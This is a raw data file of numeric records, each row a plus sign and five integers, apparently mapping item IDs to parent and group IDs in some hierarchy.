+16622,16548,16611,16622,0 +16623,16548,16611,16623,0 +16624,16548,16611,16624,0 +16625,16548,16611,16625,0 +16626,16548,16611,16626,0 +16627,16548,16611,16627,0 +16628,16548,16611,16628,0 +16629,16548,16611,16629,0 +16630,16548,16611,16630,0 +16631,16548,16611,16631,0 +16633,16548,16632,16633,0 +16634,16548,16632,16634,0 +16635,16548,16632,16635,0 +16636,16548,16632,16636,0 +16637,16548,16632,16637,0 +16638,16548,16632,16638,0 +16639,16548,16632,16639,0 +16640,16548,16632,16640,0 +16641,16548,16632,16641,0 +16642,16548,16632,16642,0 +16643,16548,16632,16643,0 +16644,16548,16632,16644,0 +16645,16548,16632,16645,0 +16646,16548,16632,16646,0 +16647,16548,16632,16647,0 +16648,16548,16632,16648,0 +16649,16548,16632,16649,0 +16650,16548,16632,16650,0 +16652,16548,16651,16652,0 +16653,16548,16651,16653,0 +16654,16548,16651,16654,0 +16655,16548,16651,16655,0 +16656,16548,16651,16656,0 +16657,16548,16651,16657,0 +16658,16548,16651,16658,0 +16659,16548,16651,16659,0 +16660,16548,16651,16660,0 +16661,16548,16651,16661,0 +16662,16548,16651,16662,0 +16664,16548,16663,16664,0 +16665,16548,16663,16665,0 +16666,16548,16663,16666,0 +16667,16548,16663,16667,0 +16668,16548,16663,16668,0 +16669,16548,16663,16669,0 +16670,16548,16663,16670,0 +16671,16548,16663,16671,0 +16672,16548,16663,16672,0 +16673,16548,16663,16673,0 +16674,16548,16663,16674,0 +16675,16548,16663,16675,0 +19493,16548,16663,19493,0 +19494,16548,16663,19494,0 +16678,16676,16677,16678,0 +16679,16676,16677,16679,0 +16680,16676,16677,16680,0 +16681,16676,16677,16681,0 +16682,16676,16677,16682,0 +16683,16676,16677,16683,0 +16684,16676,16677,16684,0 +16685,16676,16677,16685,0 +16686,16676,16677,16686,0 +16687,16676,16677,16687,0 +16688,16676,16677,16688,0 +16689,16676,16677,16689,0 +16690,16676,16677,16690,0 +16691,16676,16677,16691,0 +16692,16676,16677,16692,0 +16693,16676,16677,16693,0 +16694,16676,16677,16694,0 +16695,16676,16677,16695,0 +16696,16676,16677,16696,0 +16697,16676,16677,16697,0 +16698,16676,16677,16698,0 +16699,16676,16677,16699,0 +16700,16676,16677,16700,0 +16701,16676,16677,16701,0 +16702,16676,16677,16702,0 +16703,16676,16677,16703,0 +16704,16676,16677,16704,0 +16705,16676,16677,16705,0 +19297,16676,16677,19297,0 +16726,16676,16725,16726,0 +16727,16676,16725,16727,0 +16728,16676,16725,16728,0 +16729,16676,16725,16729,0 +16730,16676,16725,16730,0 +16732,16676,16725,16732,0 +16766,16676,16765,16766,0 +16767,16676,16765,16767,0 +16796,16794,16795,16796,0 +16797,16794,16795,16797,0 +16798,16794,16795,16798,0 +16799,16794,16795,16799,0 +16800,16794,16795,16800,0 +16801,16794,16795,16801,0 +16802,16794,16795,16802,0 +16803,16794,16795,16803,0 +16804,16794,16795,16804,0 +16805,16794,16795,16805,0 +16806,16794,16795,16806,0 +16807,16794,16795,16807,0 +16808,16794,16795,16808,0 +16809,16794,16795,16809,0 +16810,16794,16795,16810,0 +16811,16794,16795,16811,0 +20076,16794,16795,20076,0 +20315,16794,16795,20315,0 +16813,16794,16812,16813,0 +16814,16794,16812,16814,0 +16815,16794,16812,16815,0 +16816,16794,16812,16816,0 +16817,16794,16812,16817,0 +16818,16794,16812,16818,0 +16819,16794,16812,16819,0 +16820,16794,16812,16820,0 +16821,16794,16812,16821,0 +16822,16794,16812,16822,0 +16823,16794,16812,16823,0 +16824,16794,16812,16824,0 +16825,16794,16812,16825,0 +16826,16794,16812,16826,0 +16868,16794,16867,16868,0 +16869,16794,16867,16869,0 +16870,16794,16867,16870,0 +16871,16794,16867,16871,0 +16872,16794,16867,16872,0 +16873,16794,16867,16873,0 +16874,16794,16867,16874,0 +16875,16794,16867,16875,0 +16878,16794,16867,16878,0 +19275,16794,16867,19275,0 +20226,16794,16867,20226,0 +20227,16794,16867,20227,0 +20228,16794,16867,20228,0 +20476,16794,16867,20476,0 +16880,16794,16879,16880,0 +16881,16794,16879,16881,0 +16883,16794,16879,16883,0 +16884,16794,16879,16884,0 +16885,16794,16879,16885,0 +16886,16794,16879,16886,0 +16887,16794,16879,16887,0 +16888,16794,16879,16888,0 +16889,16794,16879,16889,0 +16890,16794,16879,16890,0 +16891,16794,16879,16891,0 +16892,16794,16879,16892,0 +16893,16794,16879,16893,0 +16894,16794,16879,16894,0 +16895,16794,16879,16895,0 +16896,16794,16879,16896,0 +16897,16794,16879,16897,0 +16898,16794,16879,16898,0 +20477,16794,16879,20477,0 +20230,16794,20229,20230,0 +20231,16794,20229,20231,0 +20232,16794,20229,20232,0 +20233,16794,20229,20233,0 +16903,16901,16902,16903,0 +16904,16901,16902,16904,0 +16905,16901,16902,16905,0 +16906,16901,16902,16906,0 +16907,16901,16902,16907,0 +16908,16901,16902,16908,0 +16909,16901,16902,16909,0 +16910,16901,16902,16910,0 +16911,16901,16902,16911,0 +16912,16901,16902,16912,0 +16913,16901,16902,16913,0 +16914,16901,16902,16914,0 +16915,16901,16902,16915,0 +16916,16901,16902,16916,0 +16917,16901,16902,16917,0 +16918,16901,16902,16918,0 +16919,16901,16902,16919,0 +16920,16901,16902,16920,0 +16921,16901,16902,16921,0 +16922,16901,16902,16922,0 +16923,16901,16902,16923,0 +16924,16901,16902,16924,0 +16925,16901,16902,16925,0 +16926,16901,16902,16926,0 +16927,16901,16902,16927,0 +16928,16901,16902,16928,0 +16929,16901,16902,16929,0 +16930,16901,16902,16930,0 +16931,16901,16902,16931,0 +16932,16901,16902,16932,0 +16933,16901,16902,16933,0 +16934,16901,16902,16934,0 +16935,16901,16902,16935,0 +16936,16901,16902,16936,0 +16937,16901,16902,16937,0 +16938,16901,16902,16938,0 +19274,16901,16902,19274,0 +20379,16901,16902,20379,0 +20380,16901,16902,20380,0 +20381,16901,16902,20381,0 +16943,16901,16942,16943,0 +16944,16901,16942,16944,0 +16945,16901,16942,16945,0 +16946,16901,16942,16946,0 +16947,16901,16942,16947,0 +16948,16901,16942,16948,0 +16949,16901,16942,16949,0 +16950,16901,16942,16950,0 +16951,16901,16942,16951,0 +16952,16901,16942,16952,0 +16953,16901,16942,16953,0 +16954,16901,16942,16954,0 +16955,16901,16942,16955,0 +16956,16901,16942,16956,0 +16957,16901,16942,16957,0 +16958,16901,16942,16958,0 +16959,16901,16942,16959,0 +16960,16901,16942,16960,0 +16961,16901,16942,16961,0 +16962,16901,16942,16962,0 +16963,16901,16942,16963,0 +16964,16901,16942,16964,0 +16965,16901,16942,16965,0 +16966,16901,16942,16966,0 +16967,16901,16942,16967,0 +16968,16901,16942,16968,0 +16969,16901,16942,16969,0 +16970,16901,16942,16970,0 +16971,16901,16942,16971,0 +18056,16901,18055,18056,0 +18057,16901,18055,18057,0 +18058,16901,18055,18058,0 +18059,16901,18055,18059,0 +18060,16901,18055,18060,0 +18061,16901,18055,18061,0 +18062,16901,18055,18062,0 +18063,16901,18055,18063,0 +18064,16901,18055,18064,0 +18065,16901,18055,18065,0 +18066,16901,18055,18066,0 +18067,16901,18055,18067,0 +18068,16901,18055,18068,0 +18069,16901,18055,18069,0 +18070,16901,18055,18070,0 +18071,16901,18055,18071,0 +18072,16901,18055,18072,0 +18073,16901,18055,18073,0 +18074,16901,18055,18074,0 +18075,16901,18055,18075,0 +18076,16901,18055,18076,0 +18077,16901,18055,18077,0 +18078,16901,18055,18078,0 +18079,16901,18055,18079,0 +18080,16901,18055,18080,0 +18081,16901,18055,18081,0 +18082,16901,18055,18082,0 +20392,16901,18055,20392,0 +20395,16901,18055,20395,0 +16991,16989,16990,16991,0 +16992,16989,16990,16992,0 +17013,16989,16993,17013,0 +17014,16989,16993,17014,0 +17015,16989,16993,17015,0 +17016,16989,16993,17016,0 +17017,16989,16993,17017,0 +17018,16989,16993,17018,0 +17019,16989,16993,17019,0 +17020,16989,16993,17020,0 +17021,16989,16993,17021,0 +17022,16989,16993,17022,0 +17023,16989,16993,17023,0 +17024,16989,16993,17024,0 +17025,16989,16993,17025,0 +17026,16989,16994,17026,0 +17027,16989,16994,17027,0 +17028,16989,16994,17028,0 +17029,16989,16994,17029,0 +17030,16989,16994,17030,0 +17031,16989,16994,17031,0 +17032,16989,16994,17032,0 +17033,16989,16994,17033,0 +17034,16989,16994,17034,0 +17035,16989,16994,17035,0 +17036,16989,16994,17036,0 +17037,16989,16994,17037,0 +17038,16989,16994,17038,0 +17039,16989,16994,17039,0 +17040,16989,16994,17040,0 +17041,16989,16994,17041,0 +17042,16989,16994,17042,0 +17043,16989,16994,17043,0 +17044,16989,16994,17044,0 +17045,16989,16994,17045,0 +17046,16989,16994,17046,0 +17047,16989,16994,17047,0 +17048,16989,16994,17048,0 +17049,16989,16994,17049,0 +17050,16989,16994,17050,0 +17051,16989,16994,17051,0 +20396,16989,16994,20396,0 +20397,16989,16994,20397,0 +20398,16989,16994,20398,0 +17052,16989,16995,17052,0 +17053,16989,16996,17053,0 +17054,16989,16997,17054,0 +17055,16989,16997,17055,0 +17056,16989,16997,17056,0 +17057,16989,16997,17057,0 +17058,16989,16997,17058,0 +17059,16989,16998,17059,0 +17060,16989,16998,17060,0 +17061,16989,16998,17061,0 +17062,16989,16998,17062,0 +17065,16989,16999,17065,0 +17066,16989,16999,17066,0 +17086,16989,16999,17086,0 +17067,16989,17000,17067,0 +17068,16989,17000,17068,0 +17069,16989,17000,17069,0 +17070,16989,17000,17070,0 +17071,16989,17000,17071,0 +17072,16989,17000,17072,0 +20077,16989,17000,20077,0 +17073,16989,17001,17073,0 +17074,16989,17001,17074,0 +17075,16989,17001,17075,0 +17076,16989,17001,17076,0 +17077,16989,17001,17077,0 +17078,16989,17001,17078,0 +17079,16989,17001,17079,0 +17080,16989,17001,17080,0 +17081,16989,17001,17081,0 +17082,16989,17001,17082,0 +17083,16989,17001,17083,0 +17084,16989,17001,17084,0 +17085,16989,17001,17085,0 +17087,16989,17002,17087,0 +17088,16989,17003,17088,0 +17089,16989,17003,17089,0 +17090,16989,17003,17090,0 +17091,16989,17003,17091,0 +17092,16989,17003,17092,0 +17093,16989,17003,17093,0 +17094,16989,17003,17094,0 +17095,16989,17003,17095,0 +20400,16989,17003,20400,0 +17096,16989,17004,17096,0 +17097,16989,17004,17097,0 +17098,16989,17004,17098,0 +17099,16989,17004,17099,0 +17100,16989,17004,17100,0 +17101,16989,17004,17101,0 +17102,16989,17004,17102,0 +17103,16989,17005,17103,0 +17104,16989,17006,17104,0 +17105,16989,17007,17105,0 +17106,16989,17007,17106,0 +17107,16989,17007,17107,0 +17108,16989,17007,17108,0 +17109,16989,17007,17109,0 +17110,16989,17007,17110,0 +17111,16989,17007,17111,0 +17112,16989,17007,17112,0 +17113,16989,17007,17113,0 +17114,16989,17007,17114,0 +17115,16989,17007,17115,0 +17116,16989,17007,17116,0 +17117,16989,17008,17117,0 +17118,16989,17009,17118,0 +17119,16989,17010,17119,0 +17063,16989,17011,17063,0 +17064,16989,17012,17064,0 +17169,17134,17135,17169,0 +17170,17134,17135,17170,0 +17171,17134,17135,17171,0 +17172,17134,17135,17172,0 +17173,17134,17135,17173,0 +17174,17134,17135,17174,0 +17175,17134,17135,17175,0 +17176,17134,17135,17176,0 +17177,17134,17135,17177,0 +17178,17134,17135,17178,0 +17179,17134,17135,17179,0 +17180,17134,17135,17180,0 +17181,17134,17135,17181,0 +17182,17134,17135,17182,0 +17183,17134,17135,17183,0 +17184,17134,17135,17184,0 +17185,17134,17135,17185,0 +17186,17134,17135,17186,0 +19495,17134,17135,19495,0 +20280,17134,17135,20280,0 +20291,17134,17135,20291,0 +20292,17134,17135,20292,0 +20376,17134,17135,20376,0 +17195,17134,17141,17195,0 +17196,17134,17141,17196,0 +17197,17134,17141,17197,0 +17198,17134,17141,17198,0 +17199,17134,17141,17199,0 +17200,17134,17141,17200,0 +17201,17134,17141,17201,0 +17202,17134,17141,17202,0 +17203,17134,17141,17203,0 +19496,17134,17141,19496,0 +19497,17134,17141,19497,0 +19498,17134,17141,19498,0 +19499,17134,17141,19499,0 +19500,17134,17141,19500,0 +19501,17134,17141,19501,0 +19502,17134,17141,19502,0 +19503,17134,17141,19503,0 +19504,17134,17141,19504,0 +19505,17134,17141,19505,0 +19506,17134,17141,19506,0 +17229,17134,17160,17229,0 +17230,17134,17160,17230,0 +17231,17134,17160,17231,0 +17232,17134,17160,17232,0 +17233,17134,17160,17233,0 +17234,17134,17160,17234,0 +17235,17134,17160,17235,0 +17236,17134,17160,17236,0 +17237,17134,17160,17237,0 +17238,17134,17160,17238,0 +17239,17134,17160,17239,0 +17240,17134,17160,17240,0 +19508,17134,19507,19508,0 +19509,17134,19507,19509,0 +19510,17134,19507,19510,0 +19511,17134,19507,19511,0 +19512,17134,19507,19512,0 +19513,17134,19507,19513,0 +19514,17134,19507,19514,0 +19515,17134,19507,19515,0 +19516,17134,19507,19516,0 +19517,17134,19507,19517,0 +19518,17134,19507,19518,0 +19519,17134,19507,19519,0 +19520,17134,19507,19520,0 +19521,17134,19507,19521,0 +19522,17134,19507,19522,0 +19523,17134,19507,19523,0 +19524,17134,19507,19524,0 +19525,17134,19507,19525,0 +19526,17134,19507,19526,0 +19527,17134,19507,19527,0 +19528,17134,19507,19528,0 +19529,17134,19507,19529,0 +19530,17134,19507,19530,0 +19531,17134,19507,19531,0 +19532,17134,19507,19532,0 +19533,17134,19507,19533,0 +19534,17134,19507,19534,0 +19535,17134,19507,19535,0 +19536,17134,19507,19536,0 +19537,17134,19507,19537,0 +19538,17134,19507,19538,0 +19539,17134,19507,19539,0 +19550,17134,19507,19550,0 +20377,17134,19507,20377,0 +20515,17134,19507,20515,0 +20516,17134,19507,20516,0 +20072,17134,20071,20072,0 +20073,17134,20071,20073,0 +20074,17134,20071,20074,0 +17255,17249,17250,17255,0 +17256,17249,17250,17256,0 +17257,17249,17250,17257,0 +17258,17249,17250,17258,0 +17259,17249,17250,17259,0 +17260,17249,17250,17260,0 +17261,17249,17250,17261,0 +17262,17249,17250,17262,0 +17263,17249,17250,17263,0 +17264,17249,17251,17264,0 +17265,17249,17251,17265,0 +17266,17249,17251,17266,0 +17267,17249,17251,17267,0 +20188,17249,17251,20188,0 +17268,17249,17252,17268,0 +17272,17249,17253,17272,0 +17273,17249,17253,17273,0 +17274,17249,17253,17274,0 +17275,17249,17253,17275,0 +17276,17249,17253,17276,0 +17277,17249,17253,17277,0 +17269,17249,17254,17269,0 +17270,17249,17254,17270,0 +17271,17249,17254,17271,0 +17318,17285,17286,17318,0 +17319,17285,17286,17319,0 +17320,17285,17286,17320,0 +17321,17285,17286,17321,0 +17322,17285,17286,17322,0 +17323,17285,17286,17323,0 +17324,17285,17286,17324,0 +17325,17285,17286,17325,0 +17326,17285,17286,17326,0 +17327,17285,17286,17327,0 +17328,17285,17287,17328,0 +17329,17285,17287,17329,0 +17330,17285,17287,17330,0 +17331,17285,17287,17331,0 +17332,17285,17287,17332,0 +17333,17285,17287,17333,0 +17334,17285,17287,17334,0 +17335,17285,17287,17335,0 +17336,17285,17287,17336,0 +17337,17285,17287,17337,0 +17338,17285,17287,17338,0 +17359,17285,17288,17359,0 +17360,17285,17288,17360,0 +17361,17285,17288,17361,0 +17362,17285,17288,17362,0 +17363,17285,17288,17363,0 +17364,17285,17288,17364,0 +17365,17285,17288,17365,0 +17366,17285,17288,17366,0 +17367,17285,17288,17367,0 +17372,17285,17289,17372,0 +17373,17285,17289,17373,0 +17374,17285,17289,17374,0 +17375,17285,17289,17375,0 +17376,17285,17289,17376,0 +17305,17285,17290,17305,0 +17306,17285,17290,17306,0 +17307,17285,17290,17307,0 +17308,17285,17290,17308,0 +17309,17285,17290,17309,0 +17310,17285,17290,17310,0 +17311,17285,17290,17311,0 +17312,17285,17290,17312,0 +17313,17285,17290,17313,0 +17314,17285,17290,17314,0 +17315,17285,17290,17315,0 +17316,17285,17290,17316,0 +17317,17285,17290,17317,0 +17299,17285,17291,17299,0 +17300,17285,17291,17300,0 +17301,17285,17291,17301,0 +17302,17285,17291,17302,0 +17303,17285,17291,17303,0 +17304,17285,17291,17304,0 +19541,17285,17291,19541,0 +17339,17285,17292,17339,0 +17340,17285,17292,17340,0 +17341,17285,17292,17341,0 +17342,17285,17292,17342,0 +17343,17285,17292,17343,0 +17344,17285,17292,17344,0 +17345,17285,17292,17345,0 +17368,17285,17293,17368,0 +17369,17285,17293,17369,0 +17370,17285,17293,17370,0 +17371,17285,17293,17371,0 +17378,17285,17294,17378,0 +17379,17285,17294,17379,0 +17380,17285,17294,17380,0 +17381,17285,17294,17381,0 +17382,17285,17295,17382,0 +17383,17285,17295,17383,0 +17384,17285,17295,17384,0 +17385,17285,17295,17385,0 +17386,17285,17296,17386,0 +17387,17285,17296,17387,0 +17388,17285,17296,17388,0 +17389,17285,17296,17389,0 +17390,17285,17296,17390,0 +17391,17285,17296,17391,0 +17392,17285,17296,17392,0 +17393,17285,17296,17393,0 +17394,17285,17296,17394,0 +17395,17285,17296,17395,0 +17396,17285,17296,17396,0 +17397,17285,17296,17397,0 +17398,17285,17296,17398,0 +17399,17285,17297,17399,0 +17400,17285,17297,17400,0 +17401,17285,17297,17401,0 +17402,17285,17297,17402,0 +17403,17285,17297,17403,0 +17404,17285,17297,17404,0 +17405,17285,17297,17405,0 +17406,17285,17297,17406,0 +17407,17285,17297,17407,0 +17408,17285,17297,17408,0 +20283,17285,17297,20283,0 +20378,17285,17297,20378,0 +17346,17285,17298,17346,0 +17347,17285,17298,17347,0 +17348,17285,17298,17348,0 +17349,17285,17298,17349,0 +17350,17285,17298,17350,0 +17351,17285,17298,17351,0 +17352,17285,17298,17352,0 +17353,17285,17298,17353,0 +17354,17285,17298,17354,0 +17355,17285,17298,17355,0 +17356,17285,17298,17356,0 +17357,17285,17298,17357,0 +17358,17285,17298,17358,0 +20317,17285,20316,20317,0 +20318,17285,20316,20318,0 +20319,17285,20316,20319,0 +20320,17285,20316,20320,0 +17428,17412,17413,17428,0 +17429,17412,17413,17429,0 +17430,17412,17413,17430,0 +17431,17412,17413,17431,0 +17432,17412,17413,17432,0 +17433,17412,17413,17433,0 +17434,17412,17413,17434,0 +17435,17412,17414,17435,0 +17436,17412,17415,17436,0 +17437,17412,17415,17437,0 +17438,17412,17415,17438,0 +17439,17412,17416,17439,0 +17440,17412,17417,17440,0 +17441,17412,17418,17441,0 +17442,17412,17418,17442,0 +17443,17412,17419,17443,0 +17444,17412,17420,17444,0 +17445,17412,17421,17445,0 +17446,17412,17422,17446,0 +17447,17412,17423,17447,0 +17448,17412,17424,17448,0 +17449,17412,17424,17449,0 +17450,17412,17424,17450,0 +17451,17412,17424,17451,0 +17452,17412,17425,17452,0 +17453,17412,17426,17453,0 +17454,17412,17427,17454,0 +17467,17455,17456,17467,0 +17468,17455,17456,17468,0 +17469,17455,17456,17469,0 +17470,17455,17456,17470,0 +17471,17455,17456,17471,0 +17472,17455,17456,17472,0 +17473,17455,17456,17473,0 +17474,17455,17456,17474,0 +17475,17455,17457,17475,0 +17476,17455,17457,17476,0 +17477,17455,17457,17477,0 +17478,17455,17457,17478,0 +17479,17455,17457,17479,0 +17480,17455,17457,17480,0 +17481,17455,17458,17481,0 +17482,17455,17458,17482,0 +17483,17455,17458,17483,0 +17484,17455,17458,17484,0 +17485,17455,17458,17485,0 +17486,17455,17458,17486,0 +17487,17455,17458,17487,0 +17488,17455,17459,17488,0 +17489,17455,17459,17489,0 +17490,17455,17459,17490,0 +17491,17455,17459,17491,0 +17492,17455,17459,17492,0 +17493,17455,17459,17493,0 +17494,17455,17459,17494,0 +17495,17455,17460,17495,0 +17496,17455,17460,17496,0 +17497,17455,17460,17497,0 +17498,17455,17460,17498,0 +17499,17455,17460,17499,0 +17500,17455,17460,17500,0 +18087,17455,17460,18087,0 +17501,17455,17461,17501,0 +17502,17455,17461,17502,0 +17503,17455,17461,17503,0 +17504,17455,17461,17504,0 +17505,17455,17461,17505,0 +17506,17455,17461,17506,0 +17507,17455,17461,17507,0 +17508,17455,17461,17508,0 +17509,17455,17461,17509,0 +17510,17455,17462,17510,0 +17511,17455,17462,17511,0 +17512,17455,17462,17512,0 +17513,17455,17462,17513,0 +17514,17455,17462,17514,0 +17515,17455,17462,17515,0 +17516,17455,17462,17516,0 +17517,17455,17462,17517,0 +17518,17455,17463,17518,0 +17519,17455,17463,17519,0 +17520,17455,17463,17520,0 +17521,17455,17463,17521,0 +17522,17455,17463,17522,0 +17523,17455,17463,17523,0 +17524,17455,17463,17524,0 +17525,17455,17463,17525,0 +17526,17455,17463,17526,0 +17527,17455,17463,17527,0 +17528,17455,17463,17528,0 +17529,17455,17463,17529,0 +17530,17455,17463,17530,0 +17531,17455,17463,17531,0 +17532,17455,17463,17532,0 +17533,17455,17463,17533,0 +17534,17455,17463,17534,0 +17535,17455,17463,17535,0 +17536,17455,17463,17536,0 +17537,17455,17463,17537,0 +17538,17455,17464,17538,0 +17539,17455,17464,17539,0 +17540,17455,17464,17540,0 +17541,17455,17464,17541,0 +17542,17455,17464,17542,0 +17543,17455,17464,17543,0 +17544,17455,17465,17544,0 +17545,17455,17465,17545,0 +17546,17455,17465,17546,0 +17547,17455,17465,17547,0 +17548,17455,17465,17548,0 +17549,17455,17465,17549,0 +17550,17455,17465,17550,0 +17551,17455,17466,17551,0 +17552,17455,17466,17552,0 +17553,17455,17466,17553,0 +17554,17455,17466,17554,0 +17555,17455,17466,17555,0 +17556,17455,17466,17556,0 +17557,17455,17466,17557,0 +20099,17455,20098,20099,0 +17690,17671,17672,17690,0 +20093,17671,17672,20093,0 +20094,17671,17672,20094,0 +17691,17671,17673,17691,0 +17692,17671,17674,17692,0 +17693,17671,17675,17693,0 +17694,17671,17675,17694,0 +17695,17671,17675,17695,0 +17696,17671,17676,17696,0 +17697,17671,17676,17697,0 +17698,17671,17676,17698,0 +17699,17671,17676,17699,0 +17700,17671,17677,17700,0 +17701,17671,17677,17701,0 +17702,17671,17678,17702,0 +17703,17671,17678,17703,0 +17704,17671,17678,17704,0 +17705,17671,17678,17705,0 +17706,17671,17678,17706,0 +17707,17671,17679,17707,0 +17708,17671,17679,17708,0 +17709,17671,17679,17709,0 +17710,17671,17680,17710,0 +17711,17671,17680,17711,0 +17712,17671,17680,17712,0 +17713,17671,17680,17713,0 +17714,17671,17681,17714,0 +17715,17671,17681,17715,0 +17716,17671,17681,17716,0 +17717,17671,17681,17717,0 +17718,17671,17681,17718,0 +17719,17671,17681,17719,0 +17720,17671,17681,17720,0 +17721,17671,17682,17721,0 +17722,17671,17683,17722,0 +17723,17671,17684,17723,0 +17725,17671,17686,17725,0 +17726,17671,17686,17726,0 +17727,17671,17687,17727,0 +17728,17671,17688,17728,0 +17729,17671,17688,17729,0 +17730,17671,17688,17730,0 +17731,17671,17688,17731,0 +17732,17671,17688,17732,0 +17733,17671,17688,17733,0 +17734,17671,17688,17734,0 +17735,17671,17688,17735,0 +17736,17671,17688,17736,0 +17737,17671,17688,17737,0 +17738,17671,17688,17738,0 +17739,17671,17688,17739,0 +17740,17671,17688,17740,0 +17741,17671,17688,17741,0 +17742,17671,17688,17742,0 +17743,17671,17688,17743,0 +17744,17671,17688,17744,0 +17745,17671,17688,17745,0 +17746,17671,17688,17746,0 +17747,17671,17688,17747,0 +17748,17671,17688,17748,0 +17749,17671,17688,17749,0 +17750,17671,17689,17750,0 +17812,17803,17804,17812,0 +17813,17803,17805,17813,0 +17814,17803,17806,17814,0 +17815,17803,17806,17815,0 +17816,17803,17806,17816,0 +17817,17803,17806,17817,0 +17818,17803,17806,17818,0 +17819,17803,17806,17819,0 +17820,17803,17806,17820,0 +17821,17803,17806,17821,0 +17822,17803,17806,17822,0 +17823,17803,17807,17823,0 +17824,17803,17807,17824,0 +17825,17803,17807,17825,0 +17826,17803,17807,17826,0 +17827,17803,17807,17827,0 +17828,17803,17807,17828,0 +17829,17803,17807,17829,0 +17830,17803,17807,17830,0 +17831,17803,17807,17831,0 +17832,17803,17807,17832,0 +17833,17803,17807,17833,0 +17834,17803,17807,17834,0 +17835,17803,17807,17835,0 +17836,17803,17807,17836,0 +17837,17803,17807,17837,0 +17838,17803,17807,17838,0 +17839,17803,17807,17839,0 +17840,17803,17807,17840,0 +17841,17803,17807,17841,0 +17842,17803,17807,17842,0 +17843,17803,17807,17843,0 +17844,17803,17807,17844,0 +17845,17803,17807,17845,0 +17846,17803,17807,17846,0 +17847,17803,17807,17847,0 +17848,17803,17807,17848,0 +17849,17803,17807,17849,0 +17850,17803,17807,17850,0 +17851,17803,17807,17851,0 +17852,17803,17807,17852,0 +17853,17803,17807,17853,0 +17854,17803,17807,17854,0 +17855,17803,17807,17855,0 +17856,17803,17807,17856,0 +17857,17803,17807,17857,0 +17858,17803,17807,17858,0 +17859,17803,17807,17859,0 +17860,17803,17807,17860,0 +17862,17803,17808,17862,0 +17863,17803,17808,17863,0 +18050,17803,17808,18050,0 +17864,17803,17809,17864,0 +17865,17803,17809,17865,0 +17866,17803,17809,17866,0 +17867,17803,17809,17867,0 +17868,17803,17809,17868,0 +17869,17803,17809,17869,0 +17870,17803,17809,17870,0 +17871,17803,17809,17871,0 +17872,17803,17809,17872,0 +17873,17803,17809,17873,0 +17874,17803,17809,17874,0 +17875,17803,17809,17875,0 +17876,17803,17809,17876,0 +17877,17803,17809,17877,0 +17878,17803,17809,17878,0 +17879,17803,17809,17879,0 +17880,17803,17809,17880,0 +17881,17803,17809,17881,0 +17882,17803,17809,17882,0 +17883,17803,17810,17883,0 +17884,17803,17810,17884,0 +17885,17803,17810,17885,0 +17886,17803,17810,17886,0 +17887,17803,17810,17887,0 +17888,17803,17810,17888,0 +17889,17803,17811,17889,0 +17890,17803,17811,17890,0 +17891,17803,17811,17891,0 +17892,17803,17811,17892,0 +17893,17803,17811,17893,0 +18052,17803,18051,18052,0 +18053,17803,18051,18053,0 +18054,17803,18051,18054,0 +18107,18088,18089,18107,0 +18108,18088,18090,18108,0 +18109,18088,18091,18109,0 +18098,18088,18092,18098,0 +18099,18088,18092,18099,0 +18100,18088,18092,18100,0 +18101,18088,18092,18101,0 +18102,18088,18093,18102,0 +18103,18088,18093,18103,0 +18104,18088,18093,18104,0 +18105,18088,18093,18105,0 +18106,18088,18093,18106,0 +18110,18088,18094,18110,0 +18111,18088,18094,18111,0 +18112,18088,18094,18112,0 +18113,18088,18094,18113,0 +18114,18088,18094,18114,0 +18115,18088,18095,18115,0 +18116,18088,18096,18116,0 +18117,18088,18096,18117,0 +18118,18088,18097,18118,0 +18119,18088,18097,18119,0 +18272,18270,18271,18272,0 +18273,18270,18271,18273,0 +18274,18270,18271,18274,0 +18275,18270,18271,18275,0 +18276,18270,18271,18276,0 +18277,18270,18271,18277,0 +18278,18270,18271,18278,0 +18279,18270,18271,18279,0 +18280,18270,18271,18280,0 +18281,18270,18271,18281,0 +18282,18270,18271,18282,0 +18283,18270,18271,18283,0 +18285,18270,18284,18285,0 +18286,18270,18284,18286,0 +18287,18270,18284,18287,0 +18288,18270,18284,18288,0 +18289,18270,18284,18289,0 +18290,18270,18284,18290,0 +18291,18270,18284,18291,0 +18293,18270,18292,18293,0 +18294,18270,18292,18294,0 +18295,18270,18292,18295,0 +18296,18270,18292,18296,0 +18297,18270,18292,18297,0 +18298,18270,18292,18298,0 +20223,18270,18292,20223,0 +20224,18270,18292,20224,0 +20225,18270,18292,20225,0 +18300,18270,18299,18300,0 +18301,18270,18299,18301,0 +18302,18270,18299,18302,0 +18303,18270,18299,18303,0 +18304,18270,18299,18304,0 +18306,18270,18305,18306,0 +18307,18270,18305,18307,0 +18308,18270,18305,18308,0 +18309,18270,18305,18309,0 +18310,18270,18305,18310,0 +18312,18270,18311,18312,0 +18313,18270,18311,18313,0 +18314,18270,18311,18314,0 +18315,18270,18311,18315,0 +18316,18270,18311,18316,0 +18317,18270,18311,18317,0 +18319,18270,18318,18319,0 +18320,18270,18318,18320,0 +18321,18270,18318,18321,0 +18322,18270,18318,18322,0 +18324,18270,18323,18324,0 +18325,18270,18323,18325,0 +18326,18270,18323,18326,0 +18327,18270,18323,18327,0 +18329,18270,18328,18329,0 +18330,18270,18328,18330,0 +18331,18270,18328,18331,0 +18332,18270,18328,18332,0 +18333,18270,18328,18333,0 +18334,18270,18328,18334,0 +18336,18270,18335,18336,0 +18337,18270,18335,18337,0 +18338,18270,18335,18338,0 +18339,18270,18335,18339,0 +18340,18270,18335,18340,0 +18341,18270,18335,18341,0 +18343,18270,18342,18343,0 +18344,18270,18342,18344,0 +18345,18270,18342,18345,0 +18346,18270,18342,18346,0 +20211,18270,20210,20211,0 +20212,18270,20210,20212,0 +20213,18270,20210,20213,0 +20214,18270,20210,20214,0 +20215,18270,20210,20215,0 +20216,18270,20210,20216,0 +20217,18270,20210,20217,0 +20218,18270,20210,20218,0 +20219,18270,20210,20219,0 +20220,18270,20210,20220,0 +20221,18270,20210,20221,0 +20222,18270,20210,20222,0 +20322,18270,20321,20322,0 +20323,18270,20321,20323,0 +18351,18349,18350,18351,0 +18352,18349,18350,18352,0 +18353,18349,18350,18353,0 +18355,18349,18354,18355,0 +18356,18349,18354,18356,0 +18357,18349,18354,18357,0 +18358,18349,18354,18358,0 +18359,18349,18354,18359,0 +18360,18349,18354,18360,0 +18361,18349,18354,18361,0 +18362,18349,18354,18362,0 +18364,18349,18363,18364,0 +18365,18349,18363,18365,0 +18366,18349,18363,18366,0 +18367,18349,18363,18367,0 +18368,18349,18363,18368,0 +18369,18349,18363,18369,0 +18371,18349,18370,18371,0 +18372,18349,18370,18372,0 +18373,18349,18370,18373,0 +18374,18349,18370,18374,0 +18375,18349,18370,18375,0 +18376,18349,18370,18376,0 +18377,18349,18370,18377,0 